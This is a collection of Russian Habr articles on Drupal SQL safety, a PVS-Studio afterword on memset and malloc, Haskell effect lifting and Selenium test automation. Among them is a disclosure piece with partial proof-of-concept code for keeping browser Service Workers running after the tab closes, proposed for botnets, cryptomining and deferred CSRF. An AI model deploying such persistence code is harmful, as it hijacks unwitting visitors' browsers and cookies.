> `$result = pager\_query(db\_rewrite\_sql("SELECT n.nid, n.title FROM {node} n WHERE n.type = '%s'", 'n', 'nid'), $type, 0, 10);`
а вот и пример реализации хука, для того, чтобы у вас было представление, что происходит:
> `// Модуль отсеет все ноды, авторы которых сутки не были на сайте
>
> function my\_module\_db\_rewrite\_sql($query, $primary\_table, $primary\_field, $args) {
>
> switch ($primary\_field) {
>
> case 'nid':
>
> if ($primary\_table == 'n') {
>
> $return['join'] = "LEFT JOIN {users} u ON $primary\_table.uid = u.uid";
>
> $return['where'] = 'u.login > '. time() - 60 \* 60 \* 24;
>
> }
>
> return $return;
>
> break;
>
> }
>
> }`
Возвращенные из хука 'join' элементы, будут прикреплены к нашему запросу, 'where' — добавлены к списку условий, и наш запрос после обработки будет таким:
> `SELECT n.nid, n.title FROM {node} n LEFT JOIN {users} u ON n.uid = u.uid WHERE n.type = '%s' AND u.login > 199976743`
После этого, он, собственно, поступит в `pager_query()` и будет обработан как обычно.
### Финальный код примера
> `/\*\*
>
> \* Пример 3 - безопасный, с листалкой и возможностью перезаписи запроса
>
> \*/
>
> // добавляем db\_rewrite\_sql
>
> $result = pager\_query(db\_rewrite\_sql("SELECT n.nid, n.title FROM {node} n WHERE n.type = '%s'", 'n', 'nid'), $type, 0, 10);
>
>
>
> $items = array();
>
> while ($row = db\_fetch\_object($result)) {
>
> $items[] = l($row->title, "node/{$row->nid}");
>
> }
>
>
>
> $output = theme('item\_list', $items);
>
>
>
> $output .= theme('pager');
>
>
>
> return $output;
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
### Полезные ссылки
* [Функции работы с базой данных](http://api.drupal.ru/api/group/database/6)
* [Стандарты кодирования SQL в друпале](http://drupal.org/node/2497)
### Статьи цикла «Безопасный код»
* [Подделка межсайтовых запросов](http://drupaldance.com/lessons/secure-code-csrf)
* [Работа с базой данных](http://drupaldance.com/lessons/secure-code-database-layer) | https://habr.com/ru/post/52469/ | null | ru | null |
# Шестая проверка Chromium, послесловие
В начале 2018 года в нашем блоге появился цикл статей, посвящённый шестой проверке исходного кода проекта Chromium. Цикл включает в себя 8 статей, посвященных ошибкам и рекомендациям по их предотвращению. Две статьи вызвали бурное обсуждение, и до сих пор на почту мне изредка приходят комментарии касательно тем, затронутых в них. Пожалуй, следует дать некоторые дополнительные пояснения и, как говорится, расставить точки над i.
Прошёл год с момента написания цикла статей, посвященного очередной проверке исходных кодов проекта Chromium:
1. [Chromium: шестая проверка проекта и 250 багов](https://habr.com/ru/company/pvs-studio/blog/347536/)
2. [Красивый Chromium и корявый memset](https://habr.com/ru/company/pvs-studio/blog/347594/)
3. [break и fallthrough](https://habr.com/ru/company/pvs-studio/blog/347668/)
4. [Chromium: утечки памяти](https://habr.com/ru/company/pvs-studio/blog/347746/)
5. [Chromium: опечатки](https://habr.com/ru/company/pvs-studio/blog/347826/)
6. [Chromium: использование недостоверных данных](https://habr.com/ru/company/pvs-studio/blog/347938/)
7. [Почему важно проверять, что вернула функция malloc](https://habr.com/ru/company/pvs-studio/blog/348098/)
8. [Chromium: другие ошибки](https://habr.com/ru/company/pvs-studio/blog/348134/)
Статьи, посвящённые [memset](https://habr.com/ru/company/pvs-studio/blog/347594/) и [malloc](https://habr.com/ru/company/pvs-studio/blog/348098/) вызывали и продолжают вызывать дискуссии, которые кажутся мне странными. Видимо возникло некоторое недопонимание из-за того, что я недостаточно чётко сформулировал свои мысли. Я решил вернуться к этим статьям и внести некоторые уточнения.
memset
------
Начнём со статьи про *memset*, так как здесь всё просто. Возникли споры касательно того, как лучше инициализировать структуры. Достаточно много программистов написало, что лучше давать рекомендацию писать не:
```
HDHITTESTINFO hhti = {};
```
А так:
```
HDHITTESTINFO hhti = { 0 };
```
Аргументы:
1. Конструкцию {0} легче заметить при чтении кода, чем {}.
2. Конструкция {0} более интуитивно понятна, чем {}. То есть 0 подсказывает, что структура заполняется нулями.
Соответственно, мне предлагают поменять этот пример инициализации в статье. Я не согласен с аргументами и не планирую вносить в статью правки. Сейчас я обосную свою позицию.
По поводу заметности. Мне кажется, это дело вкуса и привычки. Не думаю, что наличие 0 внутри фигурных скобок принципиально меняет ситуацию.
А вот со вторым аргументом я вообще не согласен. Запись вида {0} даёт повод неправильно воспринять код. Например, можно посчитать, что, если заменить 0 на 1, все поля будут инициализированы единицами. Поэтому такой стиль написания скорее вреден, чем полезен.
В анализаторе PVS-Studio даже есть на эту тему родственная диагностика [V1009](https://www.viva64.com/ru/w/v1009/), описание которой я сейчас приведу.
**V1009. Check the array initialization. Only the first element is initialized explicitly.**
Анализатор обнаружил возможную ошибку, связанную с тем, что при объявлении массива указано значение только для одного элемента. Таким образом, остальные элементы будут инициализированы неявно нулём или конструктором по умолчанию.
Рассмотрим пример подозрительного кода:
```
int arr[3] = {1};
```
Возможно, программист ожидал, что *arr* будет состоять из одних единиц, но это не так. Массив будет состоять из значений 1, 0, 0.
Корректный код:
```
int arr[3] = {1, 1, 1};
```
Подобная путаница может произойти из-за схожести с конструкцией *arr = {0}*, которая инициализирует весь массив нулями.
Если в вашем проекте активно используются подобные конструкции, вы можете отключить эту диагностику.
Также не рекомендуется пренебрегать наглядностью кода.
Например, код для кодирования значений цвета записан следующим образом:
```
int White[3] = { 0xff, 0xff, 0xff };
int Black[3] = { 0x00 };
int Green[3] = { 0x00, 0xff };
```
Благодаря неявной инициализации все цвета заданы правильно, но лучше переписать код более наглядно:
```
int White[3] = { 0xff, 0xff, 0xff };
int Black[3] = { 0x00, 0x00, 0x00 };
int Green[3] = { 0x00, 0xff, 0x00 };
```
malloc
------
Прежде чем читать далее, прошу освежить в памяти содержимое статьи "[Почему важно проверять, что вернула функция malloc](https://habr.com/ru/company/pvs-studio/blog/348098/)". Эта статья породила много обсуждений и критики. Вот некоторые из дискуссий: [reddit.com/r/cpp](https://www.reddit.com/r/cpp/comments/7uj99c/why_it_is_important_to_check_what_the_malloc/), [reddit.com/r/C\_Programming](https://www.reddit.com/r/C_Programming/comments/7ukaxh/why_it_is_important_to_check_what_the_malloc/), [habr.com](https://habr.com/company/pvs-studio/blog/348098/). Изредка мне пишут по поводу этой статьи на почту и сейчас.
Статья критикуется читателями по следующим пунктам:
**1. Если** ***malloc*** **вернула** ***NULL*****, то лучше сразу завершить работу программы, чем писать кучу** ***if*****-ов и пытаться как-то обработать нехватку памяти, из-за которой часто выполнение программы всё равно невозможно.**
Я вовсе не призывал до последнего бороться с последствиями нехватки памяти, пробрасывая ошибку всё выше и выше. Если для приложения допустимо завершить работу без предупреждения, то пусть так и будет. Для этого достаточно всего одной проверки сразу после *malloc* или использования *xmalloc* (см. следующий пункт).
Я возражал и предупреждал об отсутствии проверок, из-за которых программа продолжает работать «как ни в чем не бывало». Это совсем другое. Это опасно, так как приводит к неопределённому поведению, порче данных и так далее.
**2. Не рассказано про решение, которое заключается в написании функций-врапперов для выделения памяти с последующей проверкой или использование уже существующих функций, таких как** ***xmalloc*****.**
Согласен, этот момент я упустил. При написании статьи я просто не думал над тем, как можно исправить ситуацию. Мне было важнее донести до читателя, в чем опасность отсутствия проверки. Как исправить ошибку, это уже вопрос вкуса и деталей реализации.
Функция *xmalloc* не является частью стандартной библиотеки C (см. "[What is the difference between xmalloc and malloc?](https://stackoverflow.com/questions/7590254/what-is-the-difference-between-xmalloc-and-malloc)"). Однако эта функция может быть объявлена в других библиотеках, например, в GNU utils library ([GNU libiberty](https://gcc.gnu.org/onlinedocs/libiberty/index.html)).
Суть функции в том, что программа завершает работу, если не удалось выделить память. Реализация этой функции может выглядеть, например, так:
```
void* xmalloc(size_t s)
{
void* p = malloc(s);
if (!p) {
fprintf (stderr, "fatal: out of memory (xmalloc(%zu)).\n", s);
exit(EXIT_FAILURE);
}
return p;
}
```
Соответственно, вызывая везде функцию *xmalloc* вместо *malloc* можно быть уверенным, что в программе не возникнет неопределённого поведения из-за какого-либо использования нулевого указателя.
К сожалению, *xmalloc* тоже не является панацеей от всех бед. Надо помнить, что использование *xmalloc* недопустимо, если речь идёт о написании кода библиотек. Про это я поговорю чуть позже.
**3. Больше всего комментариев было следующего вида: «на практике** ***malloc*** **никогда не возвращает** ***NULL*****».**
К счастью, не я один понимаю, что это неправильный подход. Мне очень понравился вот этот [комментарий](https://habr.com/ru/company/pvs-studio/blog/348098/#comment_10649678) в мою поддержку:
*По опыту обсуждения подобной темы складывается ощущение, что в «Интернетах» есть две секты. Приверженцы первой свято уверены в том, что под Linux-ом malloc никогда не возвращает NULL. Приверженцы второй свято уверены в том, что если память в программе выделить не удалось, но ничего уже в принципе сделать нельзя, нужно только падать. Переубедить их никак нельзя. Особенно когда эти две секты пересекаются. Можно только принять это как данность. Причем не суть важно, на каком профильном ресурсе идёт обсуждение.*
Я подумал и решил последовать совету и не буду пытаться переубеждать :). Будем надеяться, что эти группы разработчиков пишут только некритичные программы. Если, например, какие-то данные испортятся в игре или игра упадёт, это не страшно.
Единственное, что важно – чтобы так не делали разработчики библиотек, баз данных и т.д.
Воззвание к разработчикам библиотек и ответственного кода
---------------------------------------------------------
Если вы разрабатываете библиотеку или иной ответственный код, то всегда проверяйте значение указателя, который вернула функция *malloc/realloc*, и возвращайте вовне код ошибки, если память выделить не удалось.
В библиотеках нельзя вызвать функцию *exit*, если не удалось выделить память. По этой же причине нельзя использовать *xmalloc*. Для многих приложений недопустимо просто взять и аварийно завершить их работу. Из-за этого, например, может быть испорчена база данных. Могут быть потеряны данные, которые считались много часов. Из-за этого программа может быть подвержена уязвимостям «отказ в обслуживании», когда вместо того, чтобы как-то корректно обработать возрастающую нагрузку, работа многопоточного приложения просто завершается.
Нельзя предположить, как и в каких проектах будет использована библиотека. Поэтому следует исходить из того, что приложение может решать очень ответственные задачи. И просто «убить» его, вызвав *exit*, никуда не годится. Скорее всего, такая программа написана с учётом возможности нехватки памяти и может что-то предпринять в этом случае. Например, некая CAD система из-за сильной фрагментации памяти не может выделить достаточный буфер памяти для очередной операции. Но это не повод ей завершиться в аварийном режиме с потерей данных. Программа может дать возможность сохранить проект и перезапустить себя в штатном режиме.
Ни в коем случае нельзя полагаться на то, что *malloc* всегда может выделить память. Неизвестно, на какой платформе и как будет использоваться библиотека. Если на одной платформе нехватка памяти — это экзотика, то на другой это может быть весьма частой ситуацией.
Нельзя надеяться, что если *malloc* вернёт *NULL*, то программа упадёт. Произойти может всё что угодно. Как я описывал в [статье](https://habr.com/ru/company/pvs-studio/blog/348098/), программа может писать данные вовсе не по нулевому адресу. В результате могут быть испорчены некие данные, что ведёт к непредсказуемым последствиям. Даже *memset* опасен. Если заполнение данных идёт в обратном порядке, то вначале портятся некие данные, и только потом программа упадёт. Но падение может произойти слишком поздно. Если в момент работы функции *memset* в параллельных потоках будут использованы испорченные данные, то последствия могут быть фатальны. Можно получить испорченную транзакцию в базе данных или отправку команды на удаление «ненужных» файлов. Может успеть произойти всё что угодно. Предлагаю читателю пофантазировать самостоятельно, к чему может привести использование мусора в памяти.
Таким образом, у библиотеки есть только один правильный вариант работы с функциями *malloc*. Нужно СРАЗУ проверить, что вернула функция, и если это — NULL, то вернуть статус ошибки.
Дополнительные ссылки
---------------------
1. [OOM handling](https://github.com/gperftools/gperftools/wiki/OOM-handling).
2. Fun with NULL pointers: [part 1](https://lwn.net/Articles/342330/), [part 2](https://lwn.net/Articles/342420/).
3. What Every C Programmer Should Know About Undefined Behavior: [part 1](http://blog.llvm.org/2011/05/what-every-c-programmer-should-know.html), [part 2](http://blog.llvm.org/2011/05/what-every-c-programmer-should-know_14.html), [part 3](http://blog.llvm.org/2011/05/what-every-c-programmer-should-know_21.html).
[](https://habr.com/ru/company/pvs-studio/blog/438756/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Andrey Karpov. [Sixth Chromium Check, Afterword](https://habr.com/ru/company/pvs-studio/blog/438756/). | https://habr.com/ru/post/438764/ | null | ru | null |
# Использование Service Worker для создания ботнета
Если кратко: в этом посте мы рассмотрим один из множества способов запуска бесконечного выполнения кода Javascript в браузере с помощью Service Worker, а еще немного покритикуем саму технологию.
[Пример вы найдете по этой **ссылке**](https://jsfiddle.net/Lsd6vgkb/3/). Закройте вкладку. Через несколько минут откройте DevTools/Application/ServiceWorker/Show All. Видите, код продолжает работать (хотя сейчас это может уже исправлено).
Catworker работает непрерывно и, подобно зомби, выполняет различные задания. То есть не нужно использовать вредоносную страницу, достаточно любого блога с адресом . Возможность добавлять сторонние изображения в комментариях позволит запустить наш код:
```
```
Веб-разработчики такого не ожидали: **как тег изображения может запустить выполнение кода JS? Каким образом JS может выполняться непрерывно? Разве так можно?**
Service Worker — это слишком сложно
-----------------------------------
Чтобы повысить популярность «прогрессивных» веб-приложений, команда Chrome создала Service Worker, не спрашивая у вас разрешения. На практике это новое «продвинутое» решение используется только чтобы показывать всплывающее push-уведомление *(Конечно, полезность Service Worker-ов на этом не ограничивается, с их помощью реализуются, например, offline-режим и backsync, – прим. переводчика)*. Если вы не верите мне на слово, откройте свои зарегистрированные Service Worker и изучите их содержимое.
Даже это будет сделать не так-то просто: [сотни строк кода, зависимость от FCM и т. д.](https://developers.google.com/web/updates/2015/03/push-notifications-on-the-open-web#implementing_push_messaging_for_chrome) *(FCM = Firebase Cloud Messaging, но его использование не является обязательным в данном случае, – прим. переводчика)*. Разместите sw.js на сервере, зарегистрируйте worker на стороне клиента, подождите получения Promise, затем выполните serviceWorkerRegistration.pushManager.getSubscription(), запросите конечную точку и registration\_id и сохраните их на сервере.
Так реализовал бы я:
```
navigator.pushManager.getSubscription("We will send you weather updates once an hour").then(function(endpoint){ #FCM endpoint })
```
По моему скромному мнению, Service Worker — это прекрасный ответ на несуществующий вопрос. Научиться использовать это решение гораздо сложнее, чем Appcache *(AppCache, в свою очередь, [считается устаревшей технологией](http://alistapart.com/article/application-cache-is-a-douchebag) со своими минусами, – прим. переводчика )*, к тому же оно менее надежно.
Как обеспечить долговременную работу
------------------------------------
Service Worker отключается через 60 секунд после того, как получает последнее событие, например, onmessage, onfetch, onforeignfetch и т. д.
1. Отправка сообщений самому себе.
```
self.addEventListener('message', function (event) {
var spawnNewMessageEvent = function (data) {
return new Promise(function (success) {
setTimeout(function () {
var sw = self.registration.active;
sw.postMessage(data);
success("success");
}, 30000)
});
};
event.waitUntil(doSomething().then(spawnNewMessageEvent));
});
```
1. Два worker отправляют друг другу запросы ForeignFetch. Чтобы использовать ForeignFetch, вам понадобится [получить токен Origin Trial](https://bit.ly/OriginTrialSignup) — полностью автоматизированный процесс, который не требует проверки или подтверждения и позволяет злоумышленнику применять новые экспериментальные технологии на реальных пользователях без их согласия.
2. Catworker отправляет cat.gif запрос fetch, в результате регистрируется новый worker с другой областью работы (это называется регистрация по ссылке). Процесс повторяется каждые 55 секунд.
```
require 'sinatra'
ot = 'AglMWHYLtMNT8FVZp9u368r0HZPKh7Pjfm7WYEyHwKz4zwaSznv682Bckrz903mz54CVZQACD5ZlSrLpuh8CKQIAAABYeyJvcmlnaW4iOiAiaHR0cHM6Ly90cnVlZmFjdG9yLmlvOjQ0MyIsICJmZWF0dXJlIjogIkZvcmVpZ25GZXRjaCIsICJleHBpcnkiOiAxNDg0OTM2NzI3fQ=='
get "/cat.gif" do
response.headers['Origin-Trial'] = ot;
response.headers['Access-Control-Allow-Origin'] = '*';
response.headers['Link'] = '; rel="serviceworker"; scope="/'+rand(999999999).to_s+'"'
if params[:skip]
'ok'
else
response.headers['Content-Type'] = "image/gif"
File.open('./cat.gif').read
end
end
get "/sw" do
response.headers['Content-Type'] = "text/javascript"
return sw=<
```
Как это могут использовать злоумышленники?
------------------------------------------
Прямо сейчас у злоумышленников есть три варианта атаки вашего браузера:
* DDoS (легко предотвратить с помощью черного списка).
* Вычисления с большой нагрузкой на память, например майнинг scrypt/litecoin. Можно получить лишь 2000 хеш-функций в секунду, но зато абсолютно бесплатно. К тому же можно использовать для вычислений миллионы машин. [Обратите внимание на другие функции](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Functions_and_classes_available_to_workers), которые предлагает Service Worker.
* Самый опасный вариант — отложенная атака CSRF. Обнаружив на веб-сайте уязвимость CSRF, вы можете направить задачу всем своим «зомби» и использовать их файлы cookie, чтобы выполнять запросы от их имени.
Процессы Service Worker постоянны по своей природе. Они выполняются после того, как вы закроете вкладку, произвольно получают события синхронизации и запускаются, обновляются каждые 24 часа, а если вы разрешаете веб-сайту отправлять push-уведомления, они могут выполнять код JS при каждом показе всплывающего окна. Все это уже давно используется.
В будущем у злоумышленников будет еще больше способов обойти защиту, чтобы их код продолжал работать.
Сейчас этому классу ошибок уделяют недостаточно внимания. Тикеты публичны ([1](https://bugs.chromium.org/p/chromium/issues/detail?id=647943), [2](https://bugs.chromium.org/p/chromium/issues/detail?id=662443), [3](https://bugs.chromium.org/p/chromium/issues/detail?id=648836)) и получают минимальный приоритет.
Помимо всего этого, **подход Origin Trial не безупречен**: кто угодно может получить токен, любой может воспользоваться экспериментальной функцией в своих целях. Нужна возможность включать и отключать Service Worker по желанию.
Я убежден, что нужно добавить флажок для отключения Service Worker. Лично мне эта технология пользы не приносит. (Вы читали документацию Cache? Это же как китайская грамота.) Новые функции поступают в эксплуатацию без должной проверки, так что нельзя быть уверенным в Same Origin Policy и других важных концепций безопасности… Вот еще несколько описаний несерьезных уязвимостей: [FF](https://tools.cisco.com/security/center/viewAlert.x?alertId=43522), [JSONP+XSS=takeover](https://bugs.chromium.org/p/chromium/issues/detail?id=422966), [атака доменов](https://alf.nu/ServiceWorker) изолированной программной среды (Sandbox). | https://habr.com/ru/post/318000/ | null | ru | null |
# Пытаясь композировать некомпозируемое: поднимаем всё
Рекомендуется прочитать [первую статью](https://habr.com/ru/post/467683/), если вы еще этого не сделали. Эта статья будет покороче, меньше сконцентрирована на деталях и больше — на возможностях.
Согласно [Стивену Дилю](http://www.stephendiehl.com/posts/decade.html), наряду с зависимыми типами, ускорением компиляции и уменьшением порога вхождения; алгебраические эффекты являются одной из самых главных задач, которые будут решены в будущем для Haskell.
Будущее не за горами, поэтому приступать нужно уже сейчас.
### Поднимаем эффекты до уровня других эффектов
```
class Liftable eff schema where
lift :: eff ~> schema
```
Что означает «поднятие» по сути? **lift** — это тот же самый **pure**/**return**, только мы погружаем не значение в эффект, а эффект в какой-нибудь трансформер (в нашем случае — в трансформерную схему):
```
pure :: a -> t a
lift :: u a -> t u a
```
Это позволяет нам использовать любые эффекты внутри определенного трансформера — вводить новые эффекты просто, но позже нам надо будет проинтерпретировать каждый из них.
Таким образом, мы можем спокойно скомпозировать поднятые эффекты:
```
let f = lift get :: Configured _ t => t _
let g = lift Nothing :: Optional t => t _
let h = lift (failure _) :: Failable _ t => t _
let x = f *> g *> h :: (Applicative t, Configured _ t, Optional t, Failable _ t) => t _
```
И представить их в любом удобном для нас порядке:
```
let y = pure _ :: Reader _ :> State _ :> Either _ :> Maybe := Int
let z = pure _ :: State _ :> Either _ :> Maybe _ :> Reader := _
let x = f *> g *> h :: (Applicative t, Configured _ t, Optional t, Failable _ t) => t _
let xy = x *> y :: Reader _ :> State _ :> Either _ :> Maybe := _
let xz = x *> z :: State _ :> Either _ :> Maybe _ :> Reader := _
```
### Адаптируем одни эффекты к другим
```
class Adaptable subeff eff | subeff -> eff where
adapt :: subeff ~> eff
```
Адаптация означает, что некоторые эффекты могут быть заменены более мощными эффектами. Например, эффекты **Reader** и **Writer** могут быть использованы в **State**, потому что **State** может читать и писать и таким образом изменять хранимое значение:
```
lift put :: Accumulated _ t => t _
lift get :: Configured _ t => t _
(lift . adapt $ put) :: Stateful _ t => t _
(lift . adapt $ get) :: Stateful _ t => t _
```
Как такое возможно? В предыдущей статье мы поделили **State** на два эффекта:
```
State s = (->) s :. (,) s
```
В случае с **Reader**, мы просто поднимаем функтор стрелки до уровня **State**, а в случае с **Writer** — функтор кортежа:
```
Reader s = (->) s
Writer s = (,) s
```
Мы можем адаптировать **Failable** к **Optional**, но мы потеряем информацию об ошибке:
```
(lift $ Just _) :: Optional t => t _
(lift $ failure _) :: Failable _ t => t _
(lift . adapt $ failure _) :: Optional t => t _
```
### Запускаем эффекты в трансформерах
Чтобы проинтерпретировать какой-нибудь эффект в трансформере, достаточно одного метода **run**:
```
let xy = x *> y :: Reader _ :> State _ :> Either _ :> Maybe := _
let xy' = run xy _ :: State _ :> Either _ :> Maybe := _
let xy'' = run xy' _ :: Either _ :> Maybe := _
let xy''' = run xy'' :: Maybe (Either _) _
```
### Заключение и примеры
Вот так, уже сейчас, без свободных/свободнейших монад (а иногда даже и без монад), используя [joint](https://github.com/iokasimov/joint) вы можете типизировать свои выражения согласно эффектам, которые они производят. Все, что вам нужно это композиция функторов.
Еще есть [презентация](https://plexor.tech/storage/2020_jan_17/Kasimov/) с доклада по этой теме на локальном [митапе](https://vk.com/lx61.meetup2) в Ростове-на-Дону, которую можно полистать в браузере.
Лучшие примеры — которые максимально приближены к реальности. Я люблю музыку, поэтому вы можете посмотреть, как используется эта система эффектов в [программе, скачивающей альбомы с Bandcamp](https://github.com/iokasimov/bandcamp.albums). | https://habr.com/ru/post/485518/ | null | ru | null |
# Автоматизация тестирования Web-приложений
Автоматизация тестирования – место встречи двух дисциплин: разработки и тестирования. Наверное поэтому, я отношу эту практику к сложным, но интересным.
Путем проб и ошибок мы пришли к следующему технологическому стеку:1. SpecFlow (опционально): DSL
2. NUnit: тестовый фреймворк
3. PageObject + PageElements: UI-абстракиця
4. Контекст тестирования (информация о целевом окружении, пользователях системы)
5. Selenium.WebDriver
Для запуска тестов по расписанию мы используем TFS 2012 и TeamCity.
В статье я опишу, как мы к этому пришли, типовые ошибки и пути их решения.
Зачем так сложно?
-----------------
Очевидно, что автоматизация тестирования имеет множество плюсов. Автоматическое решение:1. Экономит время
2. Исключает человеческий фактор при тестировании
3. Снимает бремя рутинного регрессионного тестирования
Все, кто хоть раз занимался автоматизированным тестированиям, знают об оборотной стороне медали. Автоматические тесты могут быть:1. Хрупкими и «ломаться» из-за изменения UI
2. Непонятными, содержать код «с душком»
3. Недостоверными: тестировать неверное поведение или зависеть от особенностей окружения
Для примера, рассмотрим следующий код. По названию видно, что мы тестируем то, что по запросу «gangnam style» гугл выдаст YouTube-канал корейского популярного исполнителя PSY первым результатом.
```
[Test]
public void Google_SearchGangnamStyle_PsyYouTubeChanelIsOnTop()
{
var wd = new OpenQA.Selenium.Firefox.FirefoxDriver {Url = "http://google.com"};
try
{
wd.Navigate();
wd.FindElement(By.Id("gbqfq")).SendKeys("gangnam style");
wd.FindElement(By.Id("gbqfb")).Click();
var firstResult = new WebDriverWait(wd, TimeSpan.FromSeconds(10)).Until(
w => w.FindElement(By.CssSelector("h3.r>a")));
Assert.AreEqual("PSY - YouTube", firstResult.Text);
Assert.AreEqual("http://www.youtube.com/user/officialpsy", firstResult.GetAttribute("href"));
}
finally
{
wd.Quit();
}
}
```
В этом тесте очень много проблем:1. Перемешаны слои приложения (драйвер, локаторы, результаты)
2. Строки зашиты в тесте
3. Для того, чтобы изменить веб-драйвер, например на IE придется менять все тесты
4. Локаторы зашиты в тесте и будут дублироваться в каждом тесте заново
5. Дублирование кода создания веб-драйвера
6. Assert не сопровожден сообщением об ошибке
7. Если первый Assert «упадет», то второе условие вовсе не будет проверено
8. При первом взгляде на тест не ясно, что в нем происходит, придется вчитываться и тратить время на понимание кода
**Если подходить к автоматизации «в лоб», вместо того, чтобы избавиться от рутинного повторения одинаковых действий, мы получим дополнительную головную боль с поддержкой тестов, ложными срабатываниями и спагетти-кодом в придачу.**
Слои приложения в автоматизированном тестировании
-------------------------------------------------
Ваши тесты – тоже код. Относитесь к ним также трепетно, как и коду в приложении. Тема слоев бизнес-приложений уже достаточно хорошо освещена. Какие слои можно выделить в тестах?1. Технический драйвер (WebDriver, Selenium RC, etc)
2. Контекст тестирования (целевое окружение, пользователи, данные)
3. Абстракция UI – страницы, виджеты, компоненты страниц (PageObject pattern)
4. Тесты (тестовый фреймворк: NUnit, xUnit, MSTest)
5. DSL
Проведем эволюционный рефакторинг и исправим наш тест.
Технический драйвер
-------------------
В нашем случае, это Selenium.WebDriver. Сам по себе WebDriver – не инструмент автоматизации тестирования, а лишь средство управления браузером. Мы могли бы автоматизировать тестирование на уровне HTTP-запросов и сэкономить кучу времени. Для тестирования веб-сервисов нам вообще не потребуется веб-драйвер: прокси вполне достаточно.
Использование веб-драйвера хорошая идея потому что:1. Современные приложения – больше, чем просто запрос-ответ. Сессии, куки, java-script, веб-сокеты. Все это может быть чертовски сложно повторить программным образом
2. Такое тестирование максимально приближено к поведению пользователя
3. Сложность написания кода гораздо ниже
К слою технического драйвера относятся:1. Все настройки веб-драйвера
2. Логика создания и уничтожения веб-драйвера
3. Контроль ошибок
Для начала вынесем настройки в конфиг. У нас это выглядит так:
```
```
Создадим отдельный класс, который возьмет на себя логику чтения конфига, создания и уничтожения веб-драйвера.
```
[Test]
public void WebDriverContextGoogle_SearchGangnamStyle_PsyYouTubeChanelIsOnTop()
{
var wdc = WebDriverContext.GetInstance();
try
{
var wd = wdc.WebDriver;
wd.Url = "http://google.com";
wd.Navigate();
wd.FindElement(By.Id("gbqfq")).SendKeys("gangnam style");
wd.FindElement(By.Id("gbqfb")).Click();
var firstResult = new WebDriverWait(wd, TimeSpan.FromSeconds(10)).Until(
w => w.FindElement(By.CssSelector("h3.r>a")));
var expected = new KeyValuePair(
"PSY - YouTube",
"http://www.youtube.com/user/officialpsy");
var actual = new KeyValuePair(
firstResult.Text,
firstResult.GetAttribute("href"));
Assert.AreEqual(expected, actual);
}
finally
{
wdc.Dispose();
}
}
```
Стало немного лучше. Теперь мы уверены, что всегда-будет использоваться только один веб-драйвер. Все настройки в конфиге, поэтому мы можем менять драйвер и другие настройки без перекомпиляции.
Контекст тестирования
---------------------
Для black-box тестирования приложения нам потребуется некоторое количество входных данных:
1. Целевое окружение – url, порты тестируемых приложений
2. Пользователи, с разным ролевым набором
Эта информация не относится к логике тестирования, поэтому мы вынесем это в конфигурационную секцию. Все окружения опишем в конфиге.
```
```
Вместо *wd.Url = «[google.com](http://google.com)»;* стало *wd.Url = EnvironmentsConfiguration.CurrentEnvironmentBaseUrl;*
1. Мы не должны больше дублировать URL во всех тестах
2. Чтобы протестировать другое окружение достаточно собрать проект с другой конфигурацией и добавить трансформацию
```
```
Page Objects
------------
Паттерн **[Page Objects](https://code.google.com/p/selenium/wiki/PageObjects)** хорошо зарекомендовал себя в автоматизации тестирования.
Основная идея – инкапсулировать логику поведения страницы в классе страницы. Таким образом, тесты будут работать не с низкоуровневым кодом технического драйвера, а с высокоуровневой абстракцией.
Основные преимущества Page Objects:1. Разделение полномочий: вся «бизнес-логика» страницы должна помещаться в Page Objects, классы тестов лишь вызывают публичные методы и проверяют результат
2. DRY – все локаторы помещаются в одном месте. ~~Если~~ когда UI изменится, то мы изменим локатор лишь в одном месте
3. Скрытие слоя технического драйвера. Ваши тесты будут работать с высокоуровневой абстракцией. В будущем, возможно, вы захотите сменить драйвер: например, использовать PhantomJS, или вообще для каких-то участков отказаться от использования WebDriver, для улучшения производительности. В этом случае, вам придется заменить только код Page Objects. Тесты останутся неизменными
4. Page Objects позволяет записать локаторы в декларативном стиле
Чего не хватает в Page Objects
------------------------------
Канонический паттерн предполагает создание одного класса на страницу вашего приложения. Это может быть неудобно в ряде случаев:1. Кастомизируемый и/или динамически-изменяемый лейаут
2. Виджеты или иные элементы, присутствующие на многих страницах
Частично эти проблемы можно решить с помощью наследования, но агрегация видится предпочтительнее, как с технической точки зрения, так и c точки зрения понимания кода.
Поэтому лучше воспользоваться расширенной версией паттерна – Page Elements. Page Elements – позволяет дробить страницу на более мелкие составляющие – блоки, виджеты и т.д. После чего эти блоки можно переиспользовать в нескольких страницах.
Создадим страницу:
```
[FindsBy(How = How.Id, Using = "gbqfq")]
public IWebElement SearchTextBox { get; set; }
[FindsBy(How = How.Id, Using = "gbqfb")]
public IWebElement SubmitButton { get; set; }
public GoogleSearchResults ResultsBlock { get; set; }
public void EnterSearchQuery(string query)
{
SearchTextBox.SendKeys(query);
}
public void Search()
{
SubmitButton.Click();
}
```
И «виджет» с результатами
```
public class GoogleSearchResults : PageElement
{
[FindsBy(How = How.CssSelector, Using = "h3.r>a")]
public IWebElement FirstLink { get; set; }
public KeyValuePair FirstResult
{
get
{
var firstLink = PageHelper.WaitFor(w => w.FirstLink);
return new KeyValuePair(firstLink.Text, firstLink.GetAttribute("href"));
}
}
}
```
В NuGet есть пакет WebDriver.Support с прекрасным методом *PageFactory.InitElements.*
Метод хорош, но имеет побочные эффекты. *PageFactory* из пакета WebDriver.Support возвращает прокси и не дожидается загрузки элемента. При этом, если все методы синхронизации работают с классом *By*, который пока не умеет работать с атрибутом *FindsBy*.
Эта проблема решается созданием базового класса Page.
```
///
/// Get Page element instance by type
///
/// Page element type
/// Wait for element to be loaded or not. Default value is true
/// Timeout in seconds. Default value=PageHelper.Timeout
/// Page element instance
public T GetElement(bool waitUntilLoaded = true, int timeout = PageHelper.Timeout)
where T : PageElement
///
/// Wait for all IWebElement properies of page instance to be loaded.
///
/// Wait all page elements to be loaded or just load page IWebElement properties
/// this
public Page WaitUntilLoaded(bool withElements = true)
```
Для того, чтобы реализовать метод *WaitUntilLoaded* достаточно собрать все публичные свойства с атрибутами FindBy и воспользоваться классом WebDriverWait. Я опущу техническую реализацию этих методов. Важно, что на выходе мы получим простой и изящный код:
```
var positionsWidget = Page.GetElement();
```
Остался последний неудобный случай. Существуют некоторые виджеты, которые скрывают/показывают часть элементов в зависимости от состояния. Разбивать такой виджет на несколько с одним свойством каждый – нецелесообразно.
Решение тоже нашлось.
```
public static IWebElement WaitFor(
Expression> expression,
int timeout = Timeout)
